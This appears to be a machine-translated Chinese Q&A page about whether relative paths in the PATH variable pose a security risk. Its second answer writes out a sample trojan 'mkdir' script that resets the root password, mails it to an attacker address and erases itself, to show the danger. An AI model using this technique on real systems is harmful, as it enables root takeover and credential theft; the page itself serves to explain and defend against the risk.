在 PATH 环境变量中使用相对路径是否存在安全隐患?

在 PATH 环境变量中使用相对路径是否存在安全隐患?

我们进行了一次审计,因为我们在$PATH环境变量中使用了相对路径,所以才被标记。我不确定这是否真的是一个安全问题,我想联系所有人,看看这是否真的是一个安全问题,还是只是一个最佳实践就像我想象的那样。有人能提供$PATH与亲属一起使用时的安全问题信息吗?谢谢

答案1

$PATH 中存在相对路径的问题在于,如果攻击者可以在你的文件系统中创建一个具有给定名称的文件,那么你就有可能执行该文件。

例如:df或者监控说 /var 已满,du说它是/var/spool/ftp/uploads,你会怎么做?

cd /var/spool/ftp/uploads
ls -ltr

ls并且您被拥有。您甚至在输出中都看不到,所以您永远不会知道。

用某些客户端网站的某些数据目录,或者共享机器的 /tmp 目录,或者许多其他东西替换 ftp 上传。

无可否认,这种情况不会经常发生,但风险确实存在,而且改写起来./scriptscript容易。

答案2

您使用的路径有两个问题。

  1. 该路径是相对的。
  2. 相对路径主要路径。

假设您有以下 shell 脚本,您以 root 身份使用它来更新某个 web 应用程序,并且您已设置$PATH正在使用的/etc/profile

#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd

对于攻击者来说,您提供了一种在由该攻击者控制的 shell 中执行某些操作的方法。攻击形式如下 - 我试图破坏对mkdir易受攻击的脚本中的调用的控制。

attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
/bin/mkdir $@
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir

然后我等你更新你的web应用程序。

现在,易受攻击的脚本切换到/dev/shm。当它执行此操作并运行时,mkdir它会apps/java/bin/mkdir首先找到程序,在这种情况下,该程序会重置 root 密码,向攻击者发送新的 root 密码,实际上调用真实的mkdir(以隐藏任何实际发生的事实) 并将自己从攻击路径中移除。

作为 root,你有不知道发生了什么,而且一旦有效载荷被交付,证据就会被消除。

相关内容